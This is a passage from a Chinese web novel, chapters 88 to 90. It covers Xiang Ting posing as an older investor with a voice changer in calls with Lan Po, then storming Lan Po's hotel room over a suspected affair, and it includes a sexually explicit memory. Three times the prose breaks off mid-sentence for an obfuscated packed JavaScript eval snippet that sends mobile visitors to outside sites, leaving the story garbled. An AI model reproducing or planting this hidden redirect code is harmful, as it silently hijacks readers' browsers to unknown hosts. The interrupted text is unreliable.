麦当劳中国一炮而红之后,项廷在瓦克恩家族的话语权仅次于蓝珀,片言只字就把凯林从其父处赎回了自由身。说是上学,缺个伴读。瓦克恩早先也不信,直到一次视察,看到凯林为了天天赶着去上早课,自行车座椅都磨得没皮了。俨然灵智大开,已非美国社会的硕鼠。但是瓦克恩还有一惑不解,不是说布朗吗,怎么跑哈佛去了?左右不吃亏,也没问。项廷不计前嫌还不忘拉拔兄弟的行为,凯林唯有五体投地。项总高义,廷圣千古,至此,已成凯林决意去出生入死追随的目标,主公在上,受我一拜。 凯林邀功中:“今天我的发挥没话说吧?” 前半段不予评价,后半段的表白纯是即兴发挥。凯林头顶的鸟都不知往哪飞才好了,蓝珀的笑就像一些会飘的白云,以至于他几乎没听到适才蓝珀的回答。“凯林……”感觉蓝珀唤他,凯林就不由得像山谷回声一样回应他。“蓝……”互相呼唤了两三声,蓝珀的声音渐渐低回,似乎呼唤着“凯林、凯林”……轻轻荡入梦乡,蓝珀的一句“晚安”过后,凯林吃了一肚子车尾气。 但是项廷听得异常清楚。 蓝珀骂倒没有骂,但是说的话挺难听的。先是否定凯林,念凯林年幼无知,是个有命无运,累及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398274|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹娘之物,童言就不足为听;然后否定爱情,爱情没那么高级,激素分泌,感动、心动、身动,男女淫床,互抱臭骸,这就是所谓爱情了;接着否定自己,已经人老珠黄,鱼眼珠子,过了你是风儿我是沙的年纪。你年纪小,于是捧着鱼目当珍珠;最后全盘否定:有好感又怎么样,小孩的爱哪有那么容易定性?如果我爱你,我应该让你向前看。 自始至终,蓝珀强调的只有一个词。 ——Kid。 上次躲在柜子里的时候,亦听蓝珀亲口说过,绝不会和弟弟谈恋爱。小他一岁、一个月、一天一秒钟的,都是弟弟。当时无心听来,他还不知道这一句话乃是末日的审判。 项廷沉默了片刻。脚下碎石和树叶吱嘎响。 双手紧紧握拳放在膝盖上坐着,有种半□□色彩。 凯林情不自已:“老大,你总是这么酷。” 去了学校后街的小酒馆,压抑而炎热的音浪中,项廷要了一杯又一杯装满冰块的金酒。 并非到头来还是不敢直面两人之间的根本矛盾,只是人长大,精神上就再也不能像孩子那样自由自在、毫无牵绊了。是他不想要一段似是而非的感情,是他开始明白,没有准备好就不要去爱。可这一刻他又还没明白男人一无是处的自尊心最为可怕,只想着从此脱胎换骨,或许只有完全变成了一个深沉至深、持重寡言的男人,蓝珀才会为他所折服,才愿意把千斤万斤的重担都终身托付给了他似的。 胸有激雷而面如平湖。项廷闷沉沉地离开酒吧,凯林连忙跟了出去。 “你去哪?” “买东西。” “买什么?” “变声器。” 88.我佛莲华随步踏 晚上十点,蓝珀回到酒店。 房间的门口捎着一束玫瑰花。 蓝珀推开房门,里面的场景实在戏剧而悚然。何崇玉一个人在没有灯的地方闭着眼睛弹琴,头颅高高抬起,头发飘逸飞扬,就像马鬃一样激情有力。 蓝珀以为走错了,房门开了又合,玫瑰花被门夹得一朵不剩。 何崇玉解释道:“就这间房还有钢琴,我练一小会儿就走,绝不会影响你休息。” 蓝珀善解人意地说:“那你就睡这儿,我去隔壁。” 何崇玉从钢琴凳上起身,急忙去拉住了蓝珀,很好地说起了车轱辘话,半天才到实话的部分:“……我儿子在跟他母亲打电话。” “只见过妻管严,还没见过儿管严呢。” 蓝珀阔步走向客厅,端起桌上那碗嘱咐客房人员提前准备的桂花雪梨汤,淋了枫糖浆,慢慢地喝着。 何崇玉也没什么艺术的心情了,现在是一个非常负荷的心理。家庭矛盾,这就叫结构性矛盾,不是他个人的意志和努力能转移的。他颓唐地坐在沙发上,问道:“晚上如何?还顺利吗?” 蓝珀嘴角一翘,竟然笑了:“你提醒我了,真得计划一下,那帮学生可不是善男信女。” 还不知道蓝珀代课的事,何崇玉困惑:“什么学生?” “我们还是聊点别的大天吧。” 蓝珀半背靠的坐姿,像是自己在跟自己说话,只有真的必要的时候才对何崇玉转过头。何崇玉因此判断好友心情不好,历史告诉他,这时直谏,这种事情不可取。蓝珀绝对会说,煞风景的又出现了,你好像不发表点扫兴的晦气话就显不出你似的。于是默默不提今天遇到项廷的事,目送着蓝珀去洗澡。 蓝珀也是说东忘西,玫瑰花谁送的?问都不问。 他泡泡蒸蒸出来,何崇玉还一副思维迟缓的样子,感觉是一个人坐着胡思乱想了一个多小时。 蓝珀正要下逐客令,手机响了。 ——布鲁斯先生。 “Hi。” 电话那头的男人嗓音,稳练、凝重、笃厚,但是丝丝电音。 蓝珀觉得古怪:“Hello?” 项廷紧急打开好几个降噪插件,这下马上变成了富有磁性的、充满颗粒感的,最懒散最松弛的时候发出来的魅力男声。 迟迟没讲话,蓝珀以为他拨错了的时候,项廷终于说:“今日未得一晤,殊觉遗憾。原本意欲就几支股票,讨教一番。” 听他口气,蓝珀眉头渐渐皱成川字。他对这种咬文嚼字的人向来没有什么好印象,说话文绉绉难道就能表现一个人的涵养之高,实在是造作,装。像那种英国老贵族,讲话上面一排牙齿从来没看见过。 蓝珀把烟扔到垃圾桶里,淡淡笑道:“既然都是中国人,还是中文聊更方便。中文大家都明白,说着也顺。” 中文他怕自己一不留神冒出北京话,项廷忙说:“我是ABC。” 更装了。 “喔……”蓝珀状似谅解,继续说英语,“股票名称或代码请说一下?” “SXI、XKQ、XND……” 前两个,蓝珀还算有点有面地认真分析了。但聊着聊着,发现对面太多语法、单词不是他们这一代人会用的。这位布鲁斯先生上了年纪了?思想保守,钱不好套哦。 蓝珀兴趣有些索然,激情过后下头了。最后一只股,他其实不知道哪家公司,就说:“涨得快的品种不妨及时锁定利润,这样跑出来的净值既有累积效应,回撤也控制住了。” 觉察到了他的不耐烦,项廷说话仓促起来:“你句句话都是本行,我有点听不懂。” 这话蓝珀爱听,对头,骗的就是你冤大头。 “忽略了你的感受,真的是我不对。”蓝珀恢复了温柔真切,现学现卖,“??对唔住啦!” 蓝珀轻飘地说句对不起,项廷的满世界恍然扫尽尘嚣,寂若空城。明明是自己令他遭殃,害他受苦,从相遇的兆始就给他带去了积重难返的绝望,此一生此一世,天罚地诛合该自己来受,又怎么轮得到他说一句对不起呢? 那种歉疚、悔恨、痛苦迅速流遍全身,浑身被烧伤的感觉……烧伤的感觉在全身维持了很久很久,至今无法退去。记起来仰阿莎的那天,那次项廷才感到这样的情感一次会烧死身上多少细胞。 “你……”项廷声音好像平静,然而只有他自己知道究竟用了多大的力气在压着一颗燃烧的心,“你听着,我不要你说对不起。” 蓝珀听得下意识把手机拿远,人都后仰了一下。什么意思?今天答应了邱奇当老师,没想到有更好为人师的,甚至想教他思想品德。颇有命令的味道,反正动机不纯。要不是验过资了,真金白银,真担心这是个骗子。又哪里看得穿项廷看似高傲实则乞讨的姿态。于是乎,布鲁斯先生一个昏昏欲睡老不知羞颐指气使的形象树立起来了。 蓝珀忍着尴尬,尴尬到每次听对面的说话都不自觉捏把汗:“还有别的事吗?” “等一下!且慢,稍事停留!”项廷自责得无法自拔,不知不觉间歇性做回自己,“你到家了吗?吃了吗?那个花……” 蓝珀已经很不舒服了,两只手在膝盖上一撑,站起身来:“我要睡了。” “啊这么早就寝吗?” “嗯嗯,没事早点睡,有空多赚钱。” 怕对方再滋生新的戏,行了就这么地吧,赶紧挂了。扔了烫手的手机,蓝珀做了个捂心的动作,吸进一丝受惊的空气,摸摸,一胳膊的鸡皮疙瘩。一通电话,让他认清有些钱或许就该别人赚。 去客厅关个灯,何崇玉还赖着没走。而且他也在打电话,再想送客也只能干瞪眼。 何崇玉从肢体到表情,就像在三九天被人泼了一大盆冰水:“你要跟我离婚,还要登报声明?” 他老婆说:“是的,来自两个世界的人最终也会去往两个世界。” 何崇玉坠到沙发上,砸下一个重低音。 “你这是做了什么歹事?”蓝珀一向只要看见好友不幸,就会略微有点高兴的程度。尤其是对何崇玉这种软蛋,残忍的性格就越来越变本加厉。 何崇玉不答。蓝珀无趣回去睡觉,刚进被窝,又觉得未能尽善,回客厅瞧瞧他。 谁想到深更半夜,何崇玉突然搞起了创作。死气沉沉地坐在钢琴前,从《南柯梦》到《一念空》,《香花灯涂果》不了,《释迦牟尼颂》又起。 蓝珀告饶:“南无观世音菩萨,快来救此众生一难。” 一会是流水一样灵秀的浸润感,一会电闪雷鸣来了。何崇玉一边手速爆炸,一边缓缓说道:“众生,众生,众多的生死,众多的烦恼无明生起。四谛法之知苦、断集、慕灭、修道方是唯一能解脱出离的方法妙药。” 此乃他们上山禅七的大课内容,何崇玉配合音乐演绎出来罢了。蓝珀故而笑他:“好个凄凉的你啊。拾人牙慧,还参什么野狐禅呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15400862|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何崇玉竟于风中笑了。 纵是蓝珀也微微一惊,走过去将香薰的竹条挑出来,立在琴键旁边,宽慰道:“我们供养这柱沉香,祈请三宝加持你培养宽大的容忍之心,圆满忍辱波罗蜜。我这就给你买机票好吧,你今晚回香港把人追回来!” “追哪位?” “你老婆呀。” 何崇玉又笑了:“你也追寻我也追寻,心也追寻意也追寻。到了不追时,便已到达心的归处。直到不能追到的时候,才算真到了。” 嘴里说着这般魔怔的话,手下弹的却是传世级的钢琴曲。何崇玉虽是生活上的傻瓜,但在他的音乐地带他是无敌的。 空山云径,碧涧泉清,全无尘色。蓝珀觉得在某一秒钟他和音乐的呼吸同步了,眼睛湿润了,没哭,但是真的有那么一刻他有了泪。 余韵荡了许久,蓝珀才挣脱何崇玉的念力场,从那个情境中出来:“你是怎么弹出来的? ” 何崇玉说: “向上天祈请,自然会有天乐下赐。 ” 蓝珀坠到沙发上何崇玉刚才坠的位置,坑位完全吻合。何崇玉尚有表情变化,蓝珀就是换姿势发呆。 “罢了,世界上结了婚又离的人这么多,多你一个不多,少你一个不少。”蓝珀最后说,“你好歹算是有始有终,我这才叫无疾而终。” 再次回了卧室,把身体静静地放倒在床上。有些怕何崇玉走火入魔,真的求个干净,但是蓝珀一躺下就懒得起来,达摩面壁的姿势强迫自己闭上眼,禅枯良久,怎么也睡不着。 该说不说,何崇玉这么一彻悟,蓝珀一时间竟有我离佛千万里,我离佛特别近之感。以前好多不懂的机锋,音乐一响不懂也泪流满面。 蓝珀越发想从这个浊世净身而出,梵音如海潮,似诸天花雨,这愿望便空前地强烈。 但说归说,他心里仍希望出家是个浪漫快乐之旅。 换而言之,就是务必要富裕。 蓝珀盘了一本账,除去开山、种树,每年固定买一吨白银的钱,以他八十岁自然死亡计算,哪怕不管通货膨胀,还差不少。 打开电视机,数家百年银行倒闭,十大私募宣布破产清算,著名内幕人士被货币监理局带走,多少支龙头股一字跌停,多少人的美国梦一夜归零,贸易摩擦产生的连锁反应已经开始在资本市场显现,全球失业大潮滔滔来袭。 上哪去搞钱啊。 蓝珀忍着不适,主动找白谟玺,他记得有好几笔收益分红他还没给。 白谟玺作为数年来最想低成本买断蓝珀的男人,眼下也在面对经济压力,没有余粮,哭穷:“你这竹杠敲得也太凶了吧?” 讨债失败,于钱场和情场两处伤心,蓝珀更加郁闷得受不了。白谟玺虽然没钱,但是有梗,一嘲笑起费曼来没完,说费曼口水边走边流,跟个蜗牛一样,走过的地方必有一条晶莹剔透的线。蓝珀面上说他好没品,文理不通,但是似乎又在他的描述中得到一点快乐,因为有一种解构英王室的快感。 笑着笑着,蓝珀心境开阔了,心态放开了。愈觉那钢琴音金声玉振,有如天启。 蓝珀找到了愿心,是他有愿嘛,是他要求佛对吧,那就得克服阻力付出行动啊。 他在心中与佛祖对望,佛说要为了退休不择手段。 于是凌晨一点半钟,都市男女Sexting的专属时间段—— 项廷的手机屏光危险地跃动,暗夜中的那抹红像一个倚在地狱门前的妖姬。 89.格外娇慵只自怜 项廷被电得不轻,差点忘了开变声器,一通捣鼓着。 蓝珀听他不说话:“认不出我是谁了?” “绝对不是这个意思!你不是说睡了吗?”项廷说完就后悔。 “那是我突发奇想的。”蓝珀笑了笑,“要这一点点唐突是为了引起你的注意。” 项廷一时竟不知道如何接下去,喉咙里一阵抽搐和肿胀。 一句对唔住,让他在自责里无止境地陷了下去,再也换不上那具铁做的外壳。于是蓝珀变作吃人的精怪,那笑语就像是不同种的油,由眼耳鼻舌身这五个地方泼了进来,使心中的爱欲之火熊熊燃烧。 蓝珀说:“不要斤斤,不要计较嘛,我就是那么一说罢了。” 项廷越来越忙:“那你,你吃饭了吗?” 感觉在提醒自己晚餐失约的事情,蓝珀说:“听你的口气你有些怨气哟?” “没啊!” “哎呀,你开心点好不好, ”蓝珀恳求他, “晚上这么冷,你就别发火了。” “我不可能生你的气啊……” 不该这么说还是说了。项廷惊悚地发现自己在蓝珀面前永远是个低能儿,蓝珀谈情说爱是绝对王的存在。 蓝珀捉着这一点不放:“难不成我这人身上,天生就带着几分招人生气的东西,长得就是招人烦,一瞧我就来气?” “那、我也没见到你啊……” “那——我们下次见面什么时候?” 项廷捂住手机连连看看周遭,有一种随时要被发现的感觉。他明明是大款,怎么在做小偷呢?努力让自己听起来沉稳一点:“不好意思,我出国了。” “纵你不来,我就不去了?国还不是说出就出的,”蓝珀抚弄着酒杯,像疼惜一张看不见的脸,“我是赤条条来去无牵挂的。” 他的热情美丽让人喘不过气来。项廷灌了几口冰水,忽然礼貌得像客服:“请你还是去睡觉吧。” 难不倒蓝珀:“你再让我睡觉,今晚就来你家跟你睡一个枕头。” “…………然后呢?” 项廷正在去冲冷水澡的路上。 “然后我就用准备咬你手的牙,一口把你啊呜掉。” …… 项廷觉得有必要把自己关进家里的步入式冰箱了。 那语气抚人心窍,每一次听,造成每一次的享受。酥中又带着巧劲儿,是满满的小女孩儿那个劲,很多好多可爱的小动作,乖巧地猫在他身上。 爱情的感觉像地震。蓝珀是他一生中的所有第一次,也是唯一能让项廷感受到爱的旋风,是如此地强烈,如此地甜蜜,又令人这般生气的。 是的,生气。 已知蓝珀并不知道自己的真实身份(否则他一定会气得恨不得飞扑上来的),那么蓝珀面对一个素昧平生、毫不知底细的男大款,就可以这般地轻薄浮浪了吗? 这些日子项廷接触了很多投行人士。金融这个圈子真是一言难尽,那哪是人待的地方,那是动物世界,哪叫圈,那是圈。 首先,基金经理,人均俊男靓女。业绩代表一切,怎么把别人的钱骗到自己兜里,这种事情各有各的招,真讲门道的话还真不少。多的是人走投无路只能用青春下注。 其次,金钱游戏,最重要的是你是否获邀参与游戏,不守行规谁带你玩?资本早已把人异化到带狗牌了,谁的性道德不深度地勾兑一下,清白便是种罪。一些酒肉朋友总是劝他,有时候就是要放开,就是得他妈的顿时解放。 所以蓝珀的博爱之心无处不在,无时不刻地涌现,是因为美国可不是大锅饭的年代,市场经济,能者多得,谈不上也无所谓分配不均吧? 又所以,蓝珀温柔可人、软玉娇香、招展花枝的一面,是因为市场经济就是只要花钱就能定制。 蓝珀是他的初恋、他的妻子、他的家人,从小到大、从今往后项廷身上打满了他的烙印,那即便蓝珀很难再是别人的人了,蓝珀的职业病,后遗症以后还有很多罪要慢慢受,自己是否也得辩证接受? 蓝珀的语气越是发腻,项廷就好像在吃一条越吃越甜的甘蔗,明知有毒又不独属于自己。可世上谁又能受得了他的诱惑,铁人都溶解下来。转盼之间,悉为飞尘。 心痛苦得就好像被一双大手抓住,撕了个稀烂。 “你喝酒了吗?”项廷开始自欺欺人了。 “我不是醉,我只是难受,只是心里冷。”蓝珀轻轻一叹,“你困了就睡吧,哪怕连个再见也没有。” 明知对方在以退为进,项廷还是忍不住咬他的直钩:“你现在在干嘛呢?” 蓝珀说:“刚洗完澡,正躺在床上看电视。” 仅一句话就听得项廷身上一热,对他来说好像有些暧昧,看来他还是逃脱不了好色之徒的俗套。 项廷继续毫无聊天技巧地说:“那你晚上做什么去了?不方便说就算了。” “告诉你也没什么,对我来说只是多了一层解释的麻烦而已。”蓝珀说完觉得有点暴露本性,很快改口,“真好你问了,我心里话也能有人说啊。” 然后便将今天代课的遭遇说了,一句没有埋怨整蛊他的学生,只是说:“邱奇真的撒泼,把我招来就下不了台了,真把我耍了个晕头转向。经济学好难,我懂的很浅,什么大卫·李嘉图,亚当·斯密啦,不知道要折磨我到什么时候。” 项廷说:“我知道了。” “你知道什么了?” “你别管。” 男人有难处就去解决,回家给媳妇看就是窝囊,所以再问你也别管。 蓝珀笑了说:“你这话是个引子吗?引子就这么伟大了,本论呢,我看看。” 想到有人欺负了蓝珀,项廷整个人就像天黑前关在笼子里的狼。玻璃捏的、水晶塑的蓝珀,喝个柠檬汽水都要放一会怕撑坏了细嗓子,居然他们用柠檬水泼他! 出闸猛兽的气息散发过来,蓝珀眉头一皱:“你怎么了没事吧?” “没事。” “肯定有事,骗子。” 蓝珀就是他心底水汪汪的那个东西,项廷不觉柔情似水地说:“睡吧睡吧,闭上眼,我给你数几只羊。” “我不能闭眼睛,一闭眼睛就觉得糊里糊涂的,”蓝珀停了停说,“有个问题想问你。” “什么?” “你保证不生气我才敢问。” “保证。”项廷正襟危坐。 接着听到蓝珀说:“你真不想见见我?” 蓝珀万法不离其宗,不见面怎么签合同,不签合同怎么骗老头钱?而且人深夜就爱冲动消费,要想成全好事,唯有眼下全是空子。 “见面干什么?”项廷被他聊晕了,问了句无敌蠢话。 “出来玩。” “出来玩什么?”项廷脑子不走血了。 “出来玩最主要的是出来,”蓝珀不慌不忙地说,“只要出来就是开心的一天,出来再玩。” 项廷气噎喉堵:“不懂你在说什么!” “董事长不懂事可不行,”蓝珀闭目抽着烟,烟灰自落,“你是傻子呢,还是故意的?” 项廷反问:“故意的是不是更厉害?” 蓝珀有趣地笑了:“这不是孩子话吗?” 项廷被说中了就急了,立马防守反击:“我知道你要玩什么!” “说说。” 项廷急刹车:“芬兰浴!” 上个月项廷回了一趟国,已被他化敌为友、收入麾下的刘华龙,推荐了一项时下流行的商务活动。芬兰浴,土耳其浴,民间叫洗桑拿。 蓝珀比较惊奇了,但是说:“吃完饭后当然要尽点余兴,洗桑拿最能体现出人人平等了。” 项廷不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415647|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里存不住事的人,唯独在蓝珀面前像个二维生物,肠子直得钢筋一样:“你天天跟人洗?” 蓝珀表示你可有可无:“我这里的客户可谓一拨接一拨,从没断过。总之都比你有腕多了,尽管他们有些人总是表面上对我很冷漠,心里实际愿意帮我的。但事情到时候能不能也办得像那些男人说出来的话那么硬,我自己都没底。” 心里的那块水潭瞬间奔流,真个似滚瓜涌溅。项廷一点就着,一激将就完蛋:“我明晚来接你!” “好呀,我早就觉得我们两个人的关系完全具备一步到位的可能性了。”一个破折号的时间,蓝珀倏忽转了急弯,“你接我,车来了就行了,人不要。” “因为你有别的人吗!” “你说得太透了,嘘。” 项廷耳中惺然一响,不知更有此身,手中的水杯变作了一个握力器。他骑在嫉妒这头疯牛之上,不知冲到哪里要一头撞死谁去才好。 终于,憋出三个字:“你等着。” 蓝珀笑道:“这么有男人味的人能不能说出点男人的话,不要一点凶性都没有。” 项廷把窗户通通打开,吹冷风,散散热,这才能充分发挥大脑CPU。然后说:“上个厕所,你别挂。” 蓝珀这下真笑了:“你但凡找个不那么煞风景的借口。” 项廷:“我心脏不太舒服,先走一步!” 关掉麦克风,猛吸一口气,重回现实中来。 地震结束,他意识到,这是自己把自己带沟里去了。 起初化名布鲁斯,只是担心蓝珀不要他的钱。 是七夕节的那天,他给蓝珀寄了一块翡翠,慌就忘记署名。蓝珀回,我只看小七以上的货。言下之意,把人当扫楼陌拜的玉商了。不功成名总觉得无脸说爱他,有何面目到此,项廷不敢袒露身份。沙曼莎回电的时候,他忙说自己叫布鲁斯(其实就是blue),有意给蓝珀的私募基金注资。沙曼莎劝退。项廷说,告诉他,帮我投资,他只用开心,盈亏我来负责。沙曼莎觉得电诈,未予转达。过了几个月,项廷又赚了些钱,才把投资意向书和验资的材料一并发过去。蓝珀与沙曼莎相顾失色:天底下还有这样式的傻子!出这么大的事,你为什么不说?你嘴巴呢!沙曼莎头一次挨了骂不还嘴,因为她知道自己该骂。蓝珀接着点评,这种二百五挨了宰竟然不喊不叫,颇解为鸡之道呢。沙曼莎尖叫跑开。 说白了,就是想给蓝珀上供,原因全部就在于此。 他当然没想骗蓝珀多久。本来今晚上说开了,他的出发点是好的,问题不大。 但是变声器一用,谎言就像雪球越滚越大,可不正坐实了他包藏着虎狼之心,越行不轨之事了吗?哪里来的采花贼,拿着好莱坞剧本去戏弄人家? 到戳穿的那天还能收得住场吗?膝盖都跪碎了也无可挽回。 怎么办?身份证护照生日加十年,还是装到三十岁的那年再见面? 怎么解释?我没有故意用变声器,我说操作失误,我手上有汗你信吗? 心血来潮想变成蓝珀喜欢的成熟男人,他发誓只是抱着试试看的心态。初恋就是这样没有脑子又脑子发热,你不能嘲讽小婴儿的第一步迈得如此拙劣。正是瞻前不顾后的幼稚心态,让项廷为了避免一个错误而跑到另外一个更大的错误中。 这波决策,堪称惨败。 再也不玩这么大的了。 心不痛了,只是头痛,不如挖个坑把自己埋起来比较实惠。 项廷悔悟,等不及要向蓝珀说明一切。打仗就是这样,敢打总比畏畏缩缩强。对不起,我是混账羔子! 编辑了一串敬礼的文字表情以表歉意开场,准备发送一篇大作文的时候,电话那头,传来了…… 柔枝嫩条被白雪覆没,樱瓣儿春雀似的飞下来。 脱衣服的声音。 90.忆来何事最销魂 被冲击得尚未清醒的项廷暂时失聪,但他的鼻子一向灵。 几乎可以闻到——热乎乎的肉香飘出来,就像一块烤出蜜的白薯。 完全可以想象蓝珀现在的姿势。那是项廷怎么也不会记错了的样子,是一张他在那个混乱闷热的更衣室里灯下看到的脸。十八岁的震荡心灵的爱之初体验,那时好像所有的一切都笼罩在一团蒸气里。蓝珀的头一定陷在一只大软枕里,他的眉头紧蹙起来,眼睛被舒而长的睫毛覆盖着,嘴唇微微轻启,有时抑制不住露出一点薄薄的舌尖,圆圆的像血樱桃。这么放肆的睡脸并不是普通的睡脸,这种充满忧郁又带着烦恼、包裹淡淡轻蔑的表情,是蓝珀做那种事时特有的表情,锐利地指向在他身上挥汗如雨的任何男人。分明插得好深好实,他却说,我都不敢用力夹,怕断了,好细好细。他说他是小狗,吃都不会吃,只会上面舔,把汤都沾干净了。哎呀,你鼻子好凉别蹭了……可是这时蓝珀的身体除了发出烂水果的甜之外,还有四月里如坐在溪边闻到的新涨萌动春水的气味,他乐意丢弃的自尊心在刹那间不意地抽搐痛楚起来,那香味便陡然浓烈到会呛的程度。 这么久以来,项廷时常复盘这次(对于蓝珀来说)不大美妙的经历。当时项廷甚至避孕套用完了打个七八个结全扔在里面。如今与当时的心境大有不同,以后的每一次他都想把蓝珀伺候到云端里的舒服,蓝珀将是他生生世供奉的小神仙。 可是无疑自个那点手段在蓝珀面前显摆,就像给成年人看儿童片一样。项廷力气干劲方面:公狗腰、马达臀、虎背豹腹麒麟臂,技巧花样却简直是一龄幼虫在蓝珀身上拱。项廷痛定思痛,不耻下问凯林——成人纪实片大王。果然专业人士,满墙的碟片分门别类:亚洲激情、欧美狂野、古典艳情、文艺伦理 、科幻人外……可项廷连瞥了一眼花花公子杂志都有一种背叛蓝珀的感觉,这是不忠的。没有忠贞,何来爱情? 看片对不起蓝珀,不看更对不起。这有点辩证法了。但项廷最终没有思想滑坡,坚信那一次就够他遐想好几年了,哪怕半生魂梦与缠绵。他试图在回忆中精进自己,但是没头的苍蝇,无师的不通。 于是项廷比大半年前的项廷,更加新手了。 现在项廷的心猛跳个不停,对想象中的那张脸都不敢看,如同一座火山在面前爆发了。这时候的项廷,那么刚烈,那么愤懑,又那么无可避免地享受其中了。断头饭也不过如此,做梦似的。于是便合成一种不太高尚的悲壮,感到自己此刻是全世界最不幸的人,房间的亮光突然耀眼,好像也在深深嘲笑他的样子。 他失聪后也失声,不能够叫出半个停字来。 然而很快发现,这并非他能叫停的事。 因为蓝珀没在跟他文爱裸|聊,宽衣解带的对象,也不是他。 蓝珀好像只是,忘记挂电话了。 不是项廷故意偷听,是因为蓝珀恐怕练过小嗓,声清板稳,字字送听。 “你不困吗?一直弹琴。” “啊!吵到你了吗?” “还好,我只是有点头痛。” “要不要叫人送药来?” “只要你在这里就可以治好了。 ” “唉!不要调侃我。” “你在笑什么,怎么那样的笑法?” “是苦笑吧!对于一个刚刚离婚的男人来说……” “可是离婚的男人从此以后是完全的自由了,是一个完全被社会解放的男人了。而且崇玉,到哪里可以找到你那么杰出的男人呢?我完全被你的才华感动,被压倒了……好吧!你想哭就哭吧。 ” “离开香港时候我发了誓,绝对不能随便软弱,要保持冷静的心到社会上来打滚。” “哇,好老式的理由。我也有一段时间很爱一个男孩子,爱得不得了……只是,他是个很讨厌又喜新厌旧的人。所以你可以学我,冷静的同时悄悄地流泪,因为以前的岁月总会慢慢熬过去的。其实我告诉自己去感受这世界上最污秽或丑陋之物的神时,只要心中没有热情,就不是件丑事,不存热情,就必定不会被上天惩罚的。” “你说的对,兴许我对这段婚姻早就不抱有热情了。” “可是,崇玉。我倒很想看看你真正的热情会是什么样子呢……” 对话的声音渐渐远去…… “真的可以吗?” “反正都没有关系了。 ” 谈话到此便中断了。 这听来显然是步入地狱的邀约。何崇玉奇妙又认真亵渎的尴尬口吻说着彻底豁出去的宣言,感觉脱完裤子就要去找神父告解。蓝珀则活泼娇惯、愉快单纯,很爽快的语气答允了,尔后又以任何事皆可开玩笑的声调接着煽动那些最下流的情欲。这通窃听里每个字眼的恶意与打算,都极其明显。 烧焦木炭,一点就燃。项廷坐化。豪宅变成道场,然而千里之外的蓝珀这时候只须要轻轻动动手指,项廷这一座儿童积木塔就会哗的一声塌掉。 很明显他再晚出现在酒店房门前一秒钟,就无法挽回事态的发展了。 门铃响得像火警,然而这还算先礼后兵,紧接着拍声砸声,门快碎了。 何崇玉一惊站起,猛然想起山上时师兄弟为了蓝珀同门相残,医疗事故时常有之。以为蓝珀拈花惹草的心情为人师表后也会有所冲淡吧,并没有! 何崇玉:“上帝,你又造什么业了?” “我还要问你呢!”蓝珀看似满心的不悦,“项廷怎么知道我住哪家酒店,又怎么知道我的房号?” 何崇玉没反应过来门外的是项廷,但说:“我给他你房卡了啊,房卡上写了啊。” 项廷气昏了,也是才想起来原来他有合法渠道! 滴——抓奸卡! 开门只见何崇玉脸色苍白,不似匆匆完事的表情。是那种莫名害怕这个冲动的年轻人会突然揍过来似的,因此一方面紧绷着坐在安乐椅上的身体,一方面望着可以逃走的门的方向。 第一眼,不见蓝珀。 不耽误项廷当头棒喝:“你们在干什么?” 何崇玉摸不着头脑但如实招来:“蓝帮我画个精神一点的舞台妆,下周音乐会用。” “是啊,真希望你重燃对音乐的热情呢!”过于明朗的话中含着恶意的促狭。一个不分日夜都带些微醺的声音,传来了。 室内有件画着春画的古典隔扇,从那后头飞出来一只大而娇贵的蝴蝶。 恰此时客厅中央一座香薰小喷泉,一束束剔透的水练,从镂空雕琢的翡翠色枫若草空隙间如孔雀扇般喷涌而上。 蓝珀一身早霞葡萄色的蝠袖丝绸睡衣,与賁夜飙车十公里一身臭汗穿着夜跑黢黑工字背心的项廷形成惨烈的两个世界。 蓝珀迈个猫步迎接,手持公主镜无意地瞥了一下项廷风尘仆仆的花脸:“有何见教?” 花的影子参差清晰地倒映在水中,项廷无法从他的倒影上转移视线的同时,失语。 是啊,说些什么好呢?说我的确从不认为你和何崇玉会玩儿女情长的游戏,你们之间会发展出一套严密的性关系,但是我觉得魅力一如上天所赠你之物,魅术亦是你一生的修行,俨然你已经修炼成魔了,难保在你的蛊惑下谁人的心中不会栖有魔鬼!而且你与那个老头布鲁斯也就是我本人的一谈一笑,已经证明这是你一味地以肉|体魅力为基础,惯用谈成生意致力于追求成功的方法罢了。舍不得孩子套不得狼,舍不得身子套得着谁呢? 但是眼前的何崇玉,顶着一副非常厚的假面妆,正面全打高光,一转头全是阴影,而且完全不能做表情,嘴咧大点就会崩,人到中年的法令纹小括号带动全脸开始崎岖。走到厨房倒杯水的功夫,已像蛾子掉了一地的粉,夜光的。 蓝珀的上妆手法虽然比较学院派,但结果却给人以一种坏巫师在做法的感觉。 是做法,不是做|爱。 